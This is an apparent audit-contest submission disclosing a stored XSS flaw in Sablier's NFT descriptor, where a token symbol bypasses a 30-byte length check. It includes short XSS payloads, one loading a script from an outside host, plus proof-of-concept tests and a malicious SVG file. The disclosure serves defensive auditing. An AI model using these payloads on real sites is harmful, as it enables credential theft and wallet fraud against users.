Sablier

Sablier
DeFiFoundry
53,440 USDC
View results
Submission Details
Severity: medium
Valid

Insufficient input validation on `SablierV2NFTDescriptor::safeAssetSymbol` allows an attacker to obtain stored XSS

Summary

Insufficient input validation on SablierV2NFTDescriptor::safeAssetSymbol allows an attacker to obtain stored XSS (Cross Site Scripting) on all websites loading Sablier NFTs via a malicious generated SVG image.

Vulnerability Details

The SablierV2NFTDescriptor contract is responsible for generating NFTs for users. Each symbol viewed on every NFT is fetched directly from the asset contract using the safeAssetSymbol function as described below:

function safeAssetSymbol(address asset) internal view returns (string memory) {
(bool success, bytes memory returnData) = asset.staticcall(abi.encodeCall(IERC20Metadata.symbol, ()));
// Non-empty strings have a length greater than 64, and bytes32 has length 32.
if (!success || returnData.length <= 64) {
return "ERC20";
}
string memory symbol = abi.decode(returnData, (string));
// The length check is a precautionary measure to help mitigate potential security threats from malicious assets
// injecting scripts in the symbol string.
>> if (bytes(symbol).length > 30) {
return "Long Symbol";
} else {
return symbol;
}
}

This function returns the inputted symbol as is if the following conditions are fulfilled:

  • The symbol has a length of over 64, i.e. a non-empty string

  • The length of the symbol in bytes is not bigger than 30.

Once the symbol is returned, it's inserted directly to the SVG text as depicted in the function generateFloatingText, which will be rendered directly in the frontend of any website that supports or trades Sablier's NFTs.

The possibility to inject javascript code to the SVG text has been reported in the previous audit, Section 3.2.1. The protocol team has fixed the issue by adding a length check making sure that no asset symbol string with size bigger than 30 bytes can be added to the SVG text.

However, it's possible to bypass the length check above using one of the following symbol strings:

  • <img src/onerror=alert(1)> (26 bytes)

  • <svg/onload=alert("xss")> (25 bytes)

This will produce a reflected XSS on all websites that load the malicious SVG image. The consequence can be harmful for the protocol's image but not entirely critical for the end user as it only shows an annoying pop up.

Taking a further deep dive, we're able to obtain a stored XSS by including external scripts inside the generated SVG text using the following payload: <script href=//15.rs></script>, which has exactly 30 bytes in length. This payload is not only able to bypass the length check but also to give the attacker all possibilities to extract user's confidential information on multiple NFT marketplaces that support Sablier streams, such as Opensea or Etherscan.

Impact

If an attacker creates an asset with a symbol containing the malicious javascript payload above, he could get a stored XSS on all websites that render his malicious NFT SVG image, which is legitimately generated by Sablier. This could allow the attacker for example, to run a keylogger script to collect all inputs typed by a user including his password or to create a fake Metamask pop up asking a user to sign a malicious transaction.

Tools Used

Manual review.

Proof of Concept

We'll demonstrate below how an attacker can use a malicious SVG image generated by SablierV2NFTDescriptor contract to obtain a stored XSS on a website loading the malicious image.

  • Step 1: Generate the malicious SVG text while providing the malicious asset symbol: <script href=//15.rs></script>

1a. The following test case can be added to the file safeAssetSymbol.t.sol to prove that the used malicious symbol passes the length check.

Code
function test_SafeAssetSymbol_MaliciousSymbolPassed() external whenERC20Contract givenSymbolString {
ERC20Mock asset = new ERC20Mock({
name: "Token",
symbol: "<script href=//15.rs></script>"
});
string memory actualSymbol = nftDescriptorMock.safeAssetSymbol_(address(asset));
string memory expectedSymbol = "<script href=//15.rs></script>";
assertEq(actualSymbol, expectedSymbol, "symbol");
}

1b. The second test case can be appended to NFTDescriptor.t.sol proving that a legitimate SVG text is generated for the attacker while providing the malicious asset symbol.

Code
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
import { Integration_Test } from "../../Integration.t.sol";
import { NFTDescriptorMock } from "../../../mocks/NFTDescriptorMock.sol";
import { NFTSVG } from "../../../../src/libraries/NFTSVG.sol";
abstract contract NFTDescriptor_Integration_Concrete_Test is Integration_Test {
NFTDescriptorMock internal nftDescriptorMock;
function setUp() public virtual override {
Integration_Test.setUp();
deployConditionally();
}
/// @dev Conditionally deploys {NFTDescriptorMock} normally or from a source precompiled with `--via-ir`.
function deployConditionally() internal {
if (!isTestOptimizedProfile()) {
nftDescriptorMock = new NFTDescriptorMock();
} else {
nftDescriptorMock =
NFTDescriptorMock(deployCode("out-optimized/NFTDescriptorMock.sol/NFTDescriptorMock.json"));
}
vm.label({ account: address(nftDescriptorMock), newLabel: "NFTDescriptorMock" });
}
function test_GenerateSVG_Malicious() external {
string memory actualSVG = nftDescriptorMock.generateSVG_(
NFTSVG.SVGParams({
accentColor: "hsl(155,18%,30%)",
amount: "100",
assetAddress: "0x03a6a84cd762d9707a21605b548aaab891562aab",
assetSymbol: "<script href=//15.rs></script>",
duration: "5 Days",
progress: "0%",
progressNumerical: 0,
sablierAddress: "0xf3a045dc986015be9ae43bb3462ae5981b0816e0",
sablierModel: "Lockup Linear",
status: "Pending"
})
);
string memory expectedSVG =
unicode'<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><rect width="100%" height="100%" filter="url(#Noise)"/><rect x="70" y="70" width="860" height="860" fill="#fff" fill-opacity=".03" rx="45" ry="45" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><defs><circle id="Glow" r="500" fill="url(#RadialGlow)"/><filter id="Noise"><feFlood x="0" y="0" width="100%" height="100%" flood-color="hsl(230,21%,11%)" flood-opacity="1" result="floodFill"/><feTurbulence baseFrequency=".4" numOctaves="3" result="Noise" type="fractalNoise"/><feBlend in="Noise" in2="floodFill" mode="soft-light"/></filter><path id="Logo" fill="#fff" fill-opacity=".1" d="m133.559,124.034c-.013,2.412-1.059,4.848-2.923,6.402-2.558,1.819-5.168,3.439-7.888,4.996-14.44,8.262-31.047,12.565-47.674,12.569-8.858.036-17.838-1.272-26.328-3.663-9.806-2.766-19.087-7.113-27.562-12.778-13.842-8.025,9.468-28.606,16.153-35.265h0c2.035-1.838,4.252-3.546,6.463-5.224h0c6.429-5.655,16.218-2.835,20.358,4.17,4.143,5.057,8.816,9.649,13.92,13.734h.037c5.736,6.461,15.357-2.253,9.38-8.48,0,0-3.515-3.515-3.515-3.515-11.49-11.478-52.656-52.664-64.837-64.837l.049-.037c-1.725-1.606-2.719-3.847-2.751-6.204h0c-.046-2.375,1.062-4.582,2.726-6.229h0l.185-.148h0c.099-.062,.222-.148,.37-.259h0c2.06-1.362,3.951-2.621,6.044-3.842C57.763-3.473,97.76-2.341,128.637,18.332c16.671,9.946-26.344,54.813-38.651,40.199-6.299-6.096-18.063-17.743-19.668-18.811-6.016-4.047-13.061,4.776-7.752,9.751l68.254,68.371c1.724,1.601,2.714,3.84,2.738,6.192Z"/><path id="FloatingText" fill="none" d="M125 45h750s80 0 80 80v750s0 80 -80 80h-750s-80 0 -80 -80v-750s0 -80 80 -80"/><radialGradient id="RadialGlow"><stop offset="0%" stop-color="hsl(155,18%,30%)" stop-opacity=".6"/><stop offset="100%" stop-color="hsl(230,21%,11%)" stop-opacity="0"/></radialGradient><linearGradient id="SandTop" x1="0%" y1="0%"><stop offset="0%" stop-color="hsl(155,18%,30%)"/><stop offset="100%" stop-color="hsl(230,21%,11%)"/></linearGradient><linearGradient id="SandBottom" x1="100%" y1="100%"><stop offset="10%" stop-color="hsl(230,21%,11%)"/><stop offset="100%" stop-color="hsl(155,18%,30%)"/><animate attributeName="x1" dur="6s" repeatCount="indefinite" values="30%;60%;120%;60%;30%;"/></linearGradient><linearGradient id="HourglassStroke" gradientTransform="rotate(90)" gradientUnits="userSpaceOnUse"><stop offset="50%" stop-color="hsl(155,18%,30%)"/><stop offset="80%" stop-color="hsl(230,21%,11%)"/></linearGradient><g id="Hourglass"><path d="M 50,360 a 300,300 0 1,1 600,0 a 300,300 0 1,1 -600,0" fill="#fff" fill-opacity=".02" stroke="url(#HourglassStroke)" stroke-width="4"/><path d="m566,161.201v-53.924c0-19.382-22.513-37.563-63.398-51.198-40.756-13.592-94.946-21.079-152.587-21.079s-111.838,7.487-152.602,21.079c-40.893,13.636-63.413,31.816-63.413,51.198v53.924c0,17.181,17.704,33.427,50.223,46.394v284.809c-32.519,12.96-50.223,29.206-50.223,46.394v53.924c0,19.382,22.52,37.563,63.413,51.198,40.763,13.592,94.954,21.079,152.602,21.079s111.831-7.487,152.587-21.079c40.886-13.636,63.398-31.816,63.398-51.198v-53.924c0-17.196-17.704-33.435-50.223-46.401V207.603c32.519-12.967,50.223-29.206,50.223-46.401Zm-347.462,57.793l130.959,131.027-130.959,131.013V218.994Zm262.924.022v262.018l-130.937-131.006,130.937-131.013Z" fill="#161822"></path><polygon points="350 350.026 415.03 284.978 285 284.978 350 350.026" fill="url(#SandBottom)"/><path d="m416.341,281.975c0,.914-.354,1.809-1.035,2.68-5.542,7.076-32.661,12.45-65.28,12.45-32.624,0-59.738-5.374-65.28-12.45-.681-.872-1.035-1.767-1.035-2.68,0-.914.354-1.808,1.035-2.676,5.542-7.076,32.656-12.45,65.28-12.45,32.619,0,59.738,5.374,65.28,12.45.681.867,1.035,1.762,1.035,2.676Z" fill="url(#SandTop)"/><path d="m481.46,504.101v58.449c-2.35.77-4.82,1.51-7.39,2.23-30.3,8.54-74.65,13.92-124.06,13.92-53.6,0-101.24-6.33-131.47-16.16v-58.439h262.92Z" fill="url(#SandBottom)"/><ellipse cx="350" cy="504.101" rx="131.462" ry="28.108" fill="url(#SandTop)"/><g fill="none" stroke="url(#HourglassStroke)" stroke-linecap="round" stroke-miterlimit="10" stroke-width="4"><path d="m565.641,107.28c0,9.537-5.56,18.629-15.676,26.973h-.023c-9.204,7.596-22.194,14.562-38.197,20.592-39.504,14.936-97.325,24.355-161.733,24.355-90.48,0-167.948-18.582-199.953-44.948h-.023c-10.115-8.344-15.676-17.437-15.676-26.973,0-39.735,96.554-71.921,215.652-71.921s215.629,32.185,215.629,71.921Z"/><path d="m134.36,161.203c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="161.203" x2="134.36" y2="107.28"/><line x1="565.64" y1="161.203" x2="565.64" y2="107.28"/><line x1="184.584" y1="206.823" x2="184.585" y2="537.579"/><line x1="218.181" y1="218.118" x2="218.181" y2="562.537"/><line x1="481.818" y1="218.142" x2="481.819" y2="562.428"/><line x1="515.415" y1="207.352" x2="515.416" y2="537.579"/><path d="m184.58,537.58c0,5.45,4.27,10.65,12.03,15.42h.02c5.51,3.39,12.79,6.55,21.55,9.42,30.21,9.9,78.02,16.28,131.83,16.28,49.41,0,93.76-5.38,124.06-13.92,2.7-.76,5.29-1.54,7.75-2.35,8.77-2.87,16.05-6.04,21.56-9.43h0c7.76-4.77,12.04-9.97,12.04-15.42"/><path d="m184.582,492.656c-31.354,12.485-50.223,28.58-50.223,46.142,0,9.536,5.564,18.627,15.677,26.969h.022c8.503,7.005,20.213,13.463,34.524,19.159,9.999,3.991,21.269,7.609,33.597,10.788,36.45,9.407,82.181,15.002,131.835,15.002s95.363-5.595,131.807-15.002c10.847-2.79,20.867-5.926,29.924-9.349,1.244-.467,2.473-.942,3.673-1.424,14.326-5.696,26.035-12.161,34.524-19.173h.022c10.114-8.342,15.677-17.433,15.677-26.969,0-17.562-18.869-33.665-50.223-46.15"/><path d="m134.36,592.72c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="592.72" x2="134.36" y2="538.797"/><line x1="565.64" y1="592.72" x2="565.64" y2="538.797"/><polyline points="481.822 481.901 481.798 481.877 481.775 481.854 350.015 350.026 218.185 218.129"/><polyline points="218.185 481.901 218.231 481.854 350.015 350.026 481.822 218.152"/></g></g><g id="Progress" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Progress</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">0%</text></g><g id="Status" fill="#fff"><rect width="152" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Status</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">Pending</text></g><g id="Amount" fill="#fff"><rect width="118" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Amount</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">100</text></g><g id="Duration" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Duration</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">5 Days</text></g></defs><text text-rendering="optimizeSpeed"><textPath startOffset="-100%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="0%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="-50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath><textPath startOffset="50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath></text><use href="#Glow" fill-opacity=".9"/><use href="#Glow" x="1000" y="1000" fill-opacity=".9"/><use href="#Logo" x="170" y="170" transform="scale(.6)"/><use href="#Hourglass" x="150" y="90" transform="rotate(10)" transform-origin="500 500"/><use href="#Progress" x="197" y="790"/><use href="#Status" x="357" y="790"/><use href="#Amount" x="525" y="790"/><use href="#Duration" x="659" y="790"/></svg>';
assertEq(actualSVG, expectedSVG, "SVG mismatch");
}
}

Run the two tests successfully using forge test --mt test_SafeAssetSymbol_MaliciousSymbolPassed and forge test --mt test_GenerateSVG_Malicious inside the v2-core folder.

  • Step 2: Take the SVG text from the test test_GenerateSVG_Malicious above and put it inside a file called index.html as below.

Code
<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><rect width="100%" height="100%" filter="url(#Noise)"/><rect x="70" y="70" width="860" height="860" fill="#fff" fill-opacity=".03" rx="45" ry="45" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><defs><circle id="Glow" r="500" fill="url(#RadialGlow)"/><filter id="Noise"><feFlood x="0" y="0" width="100%" height="100%" flood-color="hsl(230,21%,11%)" flood-opacity="1" result="floodFill"/><feTurbulence baseFrequency=".4" numOctaves="3" result="Noise" type="fractalNoise"/><feBlend in="Noise" in2="floodFill" mode="soft-light"/></filter><path id="Logo" fill="#fff" fill-opacity=".1" d="m133.559,124.034c-.013,2.412-1.059,4.848-2.923,6.402-2.558,1.819-5.168,3.439-7.888,4.996-14.44,8.262-31.047,12.565-47.674,12.569-8.858.036-17.838-1.272-26.328-3.663-9.806-2.766-19.087-7.113-27.562-12.778-13.842-8.025,9.468-28.606,16.153-35.265h0c2.035-1.838,4.252-3.546,6.463-5.224h0c6.429-5.655,16.218-2.835,20.358,4.17,4.143,5.057,8.816,9.649,13.92,13.734h.037c5.736,6.461,15.357-2.253,9.38-8.48,0,0-3.515-3.515-3.515-3.515-11.49-11.478-52.656-52.664-64.837-64.837l.049-.037c-1.725-1.606-2.719-3.847-2.751-6.204h0c-.046-2.375,1.062-4.582,2.726-6.229h0l.185-.148h0c.099-.062,.222-.148,.37-.259h0c2.06-1.362,3.951-2.621,6.044-3.842C57.763-3.473,97.76-2.341,128.637,18.332c16.671,9.946-26.344,54.813-38.651,40.199-6.299-6.096-18.063-17.743-19.668-18.811-6.016-4.047-13.061,4.776-7.752,9.751l68.254,68.371c1.724,1.601,2.714,3.84,2.738,6.192Z"/><path id="FloatingText" fill="none" d="M125 45h750s80 0 80 80v750s0 80 -80 80h-750s-80 0 -80 -80v-750s0 -80 80 -80"/><radialGradient id="RadialGlow"><stop offset="0%" stop-color="hsl(155,18%,30%)" stop-opacity=".6"/><stop offset="100%" stop-color="hsl(230,21%,11%)" stop-opacity="0"/></radialGradient><linearGradient id="SandTop" x1="0%" y1="0%"><stop offset="0%" stop-color="hsl(155,18%,30%)"/><stop offset="100%" stop-color="hsl(230,21%,11%)"/></linearGradient><linearGradient id="SandBottom" x1="100%" y1="100%"><stop offset="10%" stop-color="hsl(230,21%,11%)"/><stop offset="100%" stop-color="hsl(155,18%,30%)"/><animate attributeName="x1" dur="6s" repeatCount="indefinite" values="30%;60%;120%;60%;30%;"/></linearGradient><linearGradient id="HourglassStroke" gradientTransform="rotate(90)" gradientUnits="userSpaceOnUse"><stop offset="50%" stop-color="hsl(155,18%,30%)"/><stop offset="80%" stop-color="hsl(230,21%,11%)"/></linearGradient><g id="Hourglass"><path d="M 50,360 a 300,300 0 1,1 600,0 a 300,300 0 1,1 -600,0" fill="#fff" fill-opacity=".02" stroke="url(#HourglassStroke)" stroke-width="4"/><path d="m566,161.201v-53.924c0-19.382-22.513-37.563-63.398-51.198-40.756-13.592-94.946-21.079-152.587-21.079s-111.838,7.487-152.602,21.079c-40.893,13.636-63.413,31.816-63.413,51.198v53.924c0,17.181,17.704,33.427,50.223,46.394v284.809c-32.519,12.96-50.223,29.206-50.223,46.394v53.924c0,19.382,22.52,37.563,63.413,51.198,40.763,13.592,94.954,21.079,152.602,21.079s111.831-7.487,152.587-21.079c40.886-13.636,63.398-31.816,63.398-51.198v-53.924c0-17.196-17.704-33.435-50.223-46.401V207.603c32.519-12.967,50.223-29.206,50.223-46.401Zm-347.462,57.793l130.959,131.027-130.959,131.013V218.994Zm262.924.022v262.018l-130.937-131.006,130.937-131.013Z" fill="#161822"></path><polygon points="350 350.026 415.03 284.978 285 284.978 350 350.026" fill="url(#SandBottom)"/><path d="m416.341,281.975c0,.914-.354,1.809-1.035,2.68-5.542,7.076-32.661,12.45-65.28,12.45-32.624,0-59.738-5.374-65.28-12.45-.681-.872-1.035-1.767-1.035-2.68,0-.914.354-1.808,1.035-2.676,5.542-7.076,32.656-12.45,65.28-12.45,32.619,0,59.738,5.374,65.28,12.45.681.867,1.035,1.762,1.035,2.676Z" fill="url(#SandTop)"/><path d="m481.46,504.101v58.449c-2.35.77-4.82,1.51-7.39,2.23-30.3,8.54-74.65,13.92-124.06,13.92-53.6,0-101.24-6.33-131.47-16.16v-58.439h262.92Z" fill="url(#SandBottom)"/><ellipse cx="350" cy="504.101" rx="131.462" ry="28.108" fill="url(#SandTop)"/><g fill="none" stroke="url(#HourglassStroke)" stroke-linecap="round" stroke-miterlimit="10" stroke-width="4"><path d="m565.641,107.28c0,9.537-5.56,18.629-15.676,26.973h-.023c-9.204,7.596-22.194,14.562-38.197,20.592-39.504,14.936-97.325,24.355-161.733,24.355-90.48,0-167.948-18.582-199.953-44.948h-.023c-10.115-8.344-15.676-17.437-15.676-26.973,0-39.735,96.554-71.921,215.652-71.921s215.629,32.185,215.629,71.921Z"/><path d="m134.36,161.203c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="161.203" x2="134.36" y2="107.28"/><line x1="565.64" y1="161.203" x2="565.64" y2="107.28"/><line x1="184.584" y1="206.823" x2="184.585" y2="537.579"/><line x1="218.181" y1="218.118" x2="218.181" y2="562.537"/><line x1="481.818" y1="218.142" x2="481.819" y2="562.428"/><line x1="515.415" y1="207.352" x2="515.416" y2="537.579"/><path d="m184.58,537.58c0,5.45,4.27,10.65,12.03,15.42h.02c5.51,3.39,12.79,6.55,21.55,9.42,30.21,9.9,78.02,16.28,131.83,16.28,49.41,0,93.76-5.38,124.06-13.92,2.7-.76,5.29-1.54,7.75-2.35,8.77-2.87,16.05-6.04,21.56-9.43h0c7.76-4.77,12.04-9.97,12.04-15.42"/><path d="m184.582,492.656c-31.354,12.485-50.223,28.58-50.223,46.142,0,9.536,5.564,18.627,15.677,26.969h.022c8.503,7.005,20.213,13.463,34.524,19.159,9.999,3.991,21.269,7.609,33.597,10.788,36.45,9.407,82.181,15.002,131.835,15.002s95.363-5.595,131.807-15.002c10.847-2.79,20.867-5.926,29.924-9.349,1.244-.467,2.473-.942,3.673-1.424,14.326-5.696,26.035-12.161,34.524-19.173h.022c10.114-8.342,15.677-17.433,15.677-26.969,0-17.562-18.869-33.665-50.223-46.15"/><path d="m134.36,592.72c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="592.72" x2="134.36" y2="538.797"/><line x1="565.64" y1="592.72" x2="565.64" y2="538.797"/><polyline points="481.822 481.901 481.798 481.877 481.775 481.854 350.015 350.026 218.185 218.129"/><polyline points="218.185 481.901 218.231 481.854 350.015 350.026 481.822 218.152"/></g></g><g id="Progress" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Progress</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">0%</text></g><g id="Status" fill="#fff"><rect width="152" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Status</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">Pending</text></g><g id="Amount" fill="#fff"><rect width="118" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Amount</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">100</text></g><g id="Duration" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Duration</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">5 Days</text></g></defs><text text-rendering="optimizeSpeed"><textPath startOffset="-100%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="0%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="-50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath><textPath startOffset="50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath></text><use href="#Glow" fill-opacity=".9"/><use href="#Glow" x="1000" y="1000" fill-opacity=".9"/><use href="#Logo" x="170" y="170" transform="scale(.6)"/><use href="#Hourglass" x="150" y="90" transform="rotate(10)" transform-origin="500 500"/><use href="#Progress" x="197" y="790"/><use href="#Status" x="357" y="790"/><use href="#Amount" x="525" y="790"/><use href="#Duration" x="659" y="790"/></svg>
  • Step 3: Open the file using any browser, we'll see two pop ups revealing the current domain, as demonstrated here as well.

It's because the current external script hosted on 15.rs only has this content alert(document.domain);. An attacker can change the content of this file to whatever he wants to extract user's cookies, local storage or to listen to all user's keystrokes as he wishes.

Recommendations

As also recommended by the previous audit, it's absolutely necessary to sanitize the user's input on the safeAssetSymbol function as the length check is not enough. The asset symbol should only contain Aa-Zz and 0-9 characters while forbidding special ones, i.e. < / >.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

SVG Injection

T1MOH Auditor
about 1 year ago
bladesec Auditor
about 1 year ago
befree3x Submitter
about 1 year ago
ge6a Judge
about 1 year ago
bladesec Auditor
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
bladesec Auditor
about 1 year ago
pks271 Auditor
about 1 year ago
bladesec Auditor
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

SVG Injection

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.